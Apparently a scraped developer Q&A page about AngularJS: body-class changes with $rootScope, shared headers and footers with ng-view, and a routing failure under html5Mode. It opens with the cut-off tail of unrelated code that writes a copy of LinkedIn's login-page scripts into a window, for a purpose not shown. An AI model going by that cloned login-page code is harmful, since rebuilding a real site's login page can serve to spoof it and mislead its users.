LI.RUM=LI.RUM||{};(function(RUM,win){var doc=win.document;RUM.flags=RUM.flags||{};RUM.flags['host-flag']="control";RUM.flags['pop_beacons_frequency']="n100-ap0-la0-va0-tx0-sg0-db0-hk0-sp0-ln0";RUM.flags['rs_timings_individual']="control";RUM.urls=RUM.urls||{};RUM.urls['rum-track']="\/lite\/rum-track?csrfToken=ajax%3A2649005306478309108";RUM.urls['boomerang-bw-img']="login.html\/\/static.licdn.com\/scds\/common\/u\/lib\/boomerang\/0.9.edge.4ab208445a\/img\/";RUM.base_urls=RUM.base_urls||{};RUM.base_urls['permanent_content']="login.html\/\/static.licdn.com\/scds\/common\/u\/";RUM.base_urls['versioned_content']="login.html\/\/static.licdn.com\/scds\/concat\/common\/";RUM.base_urls['media_proxy']="login.html\/\/media.licdn.com\/media-proxy\/";RUM.serverStartTime=1.435526584917E12;RUM.enabled=true;function getRumScript(){var node=doc.body||doc.head||doc.getElementsByTagName('head')[0],script=doc.createElement('script');script.src=["https://static.licdn.com/scds/concat/common/js?h=ed29nkjpsa16bhrjq4na16owq-1mucgfycc664m7vmhpjgqse65-1l5rurej3h44qodo5rn0cdvyn-8om6v2ckrxsbnwf40t9ta8a7e-976eucr14azn1gu6x533uu349-9jzlwicvu376y9q4vjq77y5ks-9fdih7kgninuhkdhc16e5wwmy-1m0whdrwis44c1hoa9mrwhlt4-1uvutm1mpyov7rqhtcf8fksby-aac54ic1fmca5xz1yvc5t9nfe-8kc3ymguk6hjfnjqyxbpfflsw-c0121povror81d0xao0yez4gy"][0];node.appendChild(script);}
if(win.addEventListener){win.addEventListener('load',getRumScript);}
else{win.attachEvent('onload',getRumScript);}}(LI.RUM,window));</script>
<script id="localChrome"></script>
<script>var jsRandomCalculator=(function(){function compute(n,email,ts){try{var vs=n.split(":"),ts=parseInt(ts),len=vs.length,i,v,f1_out,f2_out;for(i=0;i<len;i++){vs[i]=parseInt(vs[i],10);}f1_out=f1(vs,ts);f2_out=f2(f1_out,ts);if(f1_out[0]%1000>f1_out[1]%1000){v=f1_out[0];}else{v=f1_out[1];}return f3(v,f2_out,email);}catch(err){return-1;}}function computeJson(input){return compute(input.n,input.email,input.ts);}function f1(vs,ts){var output=[],i;output[0]=vs[0]+vs[1]+vs[2];output[1]=(vs[0]%100+30)*(vs[1]%100+30)*(vs[2]%100+30);for(i=0;i<10;i++){output[0]+=(output[1]%1000+500)*(ts%1000+500);output[1]+=(output[0]%1000+500)*(ts%1000+500);}return output;}function f2(vs,ts){var sum=vs[0]+vs[1],n=sum%3000,m=sum%10000,p=ts%10000;if(n<1000){return Math.pow(m+12345,2)+Math.pow(p+34567,2);}else if(n<2000){return Math.pow(m+23456,2)+Math.pow(p+23456,2);}else{return Math.pow(m+34567,2)+Math.pow(p+12345,2);}}function f3(v1,v2,email){var len=email.length,v3=0,i=0;for(;i<len;i++){v3+=email.charCodeAt(i)<<((5*i)%32);}return(v1*v2*v3)%1000000007;}return{compute:compute,computeJson:computeJson,version:"1.0.1"};}());</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=eq875keqggun9hoxzfhbanjes"></script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=b1qfz41z3b3boi2i3gjuzglmx-e4t0yj6tjycwmm5gb2d6tkiqd-4ctyhul13sruu19hcui2s5a9p"></script>
<script type="text/javascript">//<![CDATA[
(function(require){var bcookie=escape(readCookie("bcookie")),$=window.$||(require&&require('jquery')),newTrkInfo='null',alias_secure='/analytics/noauthtracker?type=leo%2EpageTracking&pageType=full_page&pageKey=uas-consumer-login-internal_jsbeacon&trkInfo=REPLACEME',alias_normal='http://www.linkedin.com/analytics/noauthtracker?type=leo%2EpageTracking&pageType=full_page&pageKey=uas-consumer-login-internal_jsbeacon&trkInfo=REPLACEME',is_secure=true,url=(is_secure)?alias_secure:alias_normal;function readCookie(name){var nameEQ=name+'=',ca=document.cookie.split(';');for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)===' '){c=c.substring(1,c.length);}
if(c.indexOf(nameEQ)===0){return c.substring(nameEQ.length,c.length);}}
return null;}
url=url.replace("REPLACEME",newTrkInfo);url=url.replace("trkInfo=","trackingInfo=");if(bcookie){if($&&$.ajax){$.ajax(url);}else if(window.YAHOO){window.YAHOO.util.Connect.asyncRequest('get',url,{});}}})(window.require);
//]]></script>
<script data-page-js-type="lix">(function(n,r,a){r=window[n]=window[n]||{};r['jsecure_injectAlert']='control';r['jsecure_Dialog']='control';}('__li__lix_registry__'));</script>
<script type="text/javascript">LI.Controls.processQueue();</script>
</body>
</html>`;
$(w.document.body).html(temp);
});

$rootScope.bodyClass not changing when the user goes to another page

I created a body class so I could use different CSS for different pages:
homepage.js
.controller('HomePageCtrl',function($scope,$rootScope,appService) {
$rootScope.bodyClass = 'home-page'
login.js:
.controller('LoginCtrl', function ($rootScope,$scope,appService,$window) {
$rootScope.bodyClass = 'login-page'
index.html:
<body ng-app="yoApp" data-ng-class="bodyClass">
It works, but when I click to another page the previous class is maintained and I have to hit refresh to see the new class.
From Login page to Home page before refresh:
<body ng-app="yoApp" data-ng-class="bodyClass" class="ng-scope login-page">
Home page after refresh:
<body ng-app="yoApp" data-ng-class="bodyClass" class="ng-scope home-page">
What is causing this and how to fix it?

It is working perfectly on my machine. I have created a sample application to test the scenario.
index.html
<!DOCTYPE html>
<html lang="en" ng-app="app">
<head>
<meta charset="UTF-8" />
<title>Into to Angular.js</title>
<script data-require="jquery#*" data-semver="2.1.1" src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script data-require="bootstrap#3.1.1" data-semver="3.1.1" src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
<script data-require="angular.js#1.3.0-beta.5" data-semver="1.3.0-beta.5" src="https://code.angularjs.org/1.3.0-beta.5/angular.js"></script>
<script data-require="angular-route#*" data-semver="1.2.17" src="http://code.angularjs.org/1.2.17/angular-route.js"></script>
<script data-require="angular-ui-bootstrap#*" data-semver="0.11.0" src="http://angular-ui.github.io/bootstrap/ui-bootstrap-tpls-0.11.0.min.js"></script>
<link data-require="bootstrap-css#3.1.1" data-semver="3.1.1" rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" />
<link rel="stylesheet" href="style.css" />
<script src="app.js"></script>
</head>
<body class="container" ng-class="bodyClass">
<div class="row">
<div class="col-sm-12">
<h1>Intro to Angular</h1>
<div id="view" ng-view=""></div>
</div>
</div>
</body>
</html>
home.html
<div id="login" class="row">
<div class="col-sm-6 col-sm-offset-3">
Welcome To Home Page.
</div>
</div>
login.html
<div id="login" class="row">
<div class="col-sm-6 col-sm-offset-3">
<form>
<fieldset class="radius">
<div class="row">
<div class="col-sm-6 columns">
<input type="text" class="form-control" name="username" placeholder="username" required="" />
</div>
<div class="col-sm-6 columns">
<input type="password" class="form-control" name="password" placeholder="password" required="" />
</div>
</div>
<br>
Login
</fieldset>
</form>
</div>
</div>
app.js
var app = angular.module("app", ['ngRoute'])
.config(function($routeProvider) {
$routeProvider.when('/', {
templateUrl: 'login.html',
controller: 'LoginController'
});
$routeProvider.when('/home', {
templateUrl: 'home.html',
controller: 'HomeController'
});
})
.controller('HomeController', function($rootScope, $scope) {
$rootScope.bodyClass = 'bg-info'
})
.controller('LoginController', function($rootScope, $scope) {
$rootScope.bodyClass = 'bg-danger'
});
See plnkr.

angular routeprovider include header, footer and template

I'm trying to add templates to links, which is working, however I was wondering if there was a possibility to add your header and footer to it aswell, now I'm copying my header and footer for each page.
here's my js:
app.config(['$routeProvider', '$locationProvider',
function($routeProvider, $locationProvider) {
$routeProvider
.when('/', {
templateUrl: 'views/startpage.html',
controller: 'PageCtrl',
controllerAs: 'page'
})
.when('/page/test', {
templateUrl: 'test.html',
controller: 'PageCtrl',
controllerAs: 'page'
})
and here's the template im loading them in
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" type="text/css" href="css/bootstrap.css" />
<link rel="stylesheet" type="text/css" href="css/index.css" />
<script src="js/angular.min.js"></script>
<script src="js/angular-route.js"></script>
<script src="js/angular-animate.js"></script>
<script type="text/javascript" src="js/app.js"></script>
<script type="text/javascript">
angular.element(document.getElementsByTagName('head')).append(angular.element('<base href="' + window.location.pathname + '" />'));
</script>
<title>SiteEngine Mobile</title>
</head>
<body ng-app="ngViewExample">
<div class="fixedHeaderApp">
<div class="headerIconLogo">
<img src="img/world_icon.png" width="28px" height="28px" />
</div>
<span class="blue">Site</span><span class="orange">Engine</span>
</div>
<div class="whitespace"></div><div class="whitespace"></div>
<div class="whitespace"></div><div class="whitespace"></div>
<div class="whitespace"></div><div class="whitespace"></div>
<div class="homebackimgWrapper">
<div class="titleLarge">SiteEngine</div>
<div class="titleSmall">Mobile</div>
</div>
<div class="container">
<div class="loginLogo">
<img src="img/loginIcon.png" width="120px" height="120px" />
</div>
<form action="views/startpage.html">
<div class="form-group">
<input type="email" class="form-control" id="exampleInputEmail1" placeholder="Email">
</div>
<div class="form-group">
<input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password">
</div>
<div class="checkbox">
<label>
<input type="checkbox"> Ingelogd blijven
</label>
</div>
<button type="submit" class="btn btn-primary btnq-lg btn-block">Inloggen</button>
</form>
<div class="whitespace"></div>
<div ng-controller="HomeController as product">
<div ng-repeat="product in product.products">
<h4>{{product.name}}</h4>
<button ng-show="product.canPurchase">Add to stomach</button>
</div>
</div>
</div>
<script type="text/javascript" src="js/index.js"></script>
<script type="text/javascript">
app.initialize();
</script>
</body>
Also I have different pages with different menu options.

You can try use ng-view as place for including yours templates. Your footer and header will be outside that ng-view. You can also rendering your menu directly in html. Just put map of yours menus and links somewhere and render it in html.

Angular routing not working

I have problem with angular routing.
index.html:
<!DOCTYPE html>
<html>
<head>
<link data-require="bootstrap-css#3.1.1" data-semver="3.1.1" rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" />
<script data-require="angular.js#*" data-semver="1.3.0-beta.5" src="https://code.angularjs.org/1.3.0-beta.5/angular.js"></script>
<script data-require="jquery#*" data-semver="2.0.3" src="http://code.jquery.com/jquery-2.0.3.min.js"></script>
<script data-require="bootstrap#*" data-semver="3.1.1" src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
<script data-require="angular-route#*" data-semver="1.2.16" src="http://code.angularjs.org/1.2.16/angular-route.js"></script>
<link rel="stylesheet" href="style.css" />
<script src="loginController.js"></script>
<script src="loginService.js"></script>
<script src="AppController.js"></script>
</head>
<body ng-app="betsApp" ng-controller="appCtrl">
<div class="container">
<div ng-view></div>
</div>
</body>
AppController.js
var betsApp = angular.module('betsApp', ['ngRoute', 'loginApp', 'loginService']);
betsApp.config(function($routeProvider, $locationProvider)
{
$locationProvider.html5Mode(true);
$routeProvider.when('/', {templateUrl: '/error.html'})
.when('/login', {templateUrl: '/pages/loginView.html'});
});
betsApp.controller('appCtrl', function($scope)
{
});
loginView.html:
<div ng-app="loginApp" ng-controller="loginCtrl">
<h1>Login</h1>
<hr>
<form>
<div class="form-group">
<input type="email" ng-model="credentials.email" value="{{credentials.email}}">
</div>
<div class="form-group">
<input type="password" ng-model="credentials.password" value="{{credentials.password}}">
</div>
<div class="form-group">
<input type="button" value="Login" ng-click="doLogin()">
</div>
</form>
</div>
The problem is that I see only a white page without any inserted view. here is a link to plunker.

The link to the plnkr does not match the code you have provided above (route definitions)
That being said I was able to get it routing by turning off html5Mode
Note: even angular's routing example does not work w/ html5Mode on... http://plnkr.co/edit/7YNtWncWYtxceELnzkAT?p=preview
Also, in loginView you are trying to define ng-app="loginApp" that will not be allowed, while you can have nested ng-app's (unless you manually bootstrap them documentation)

Categories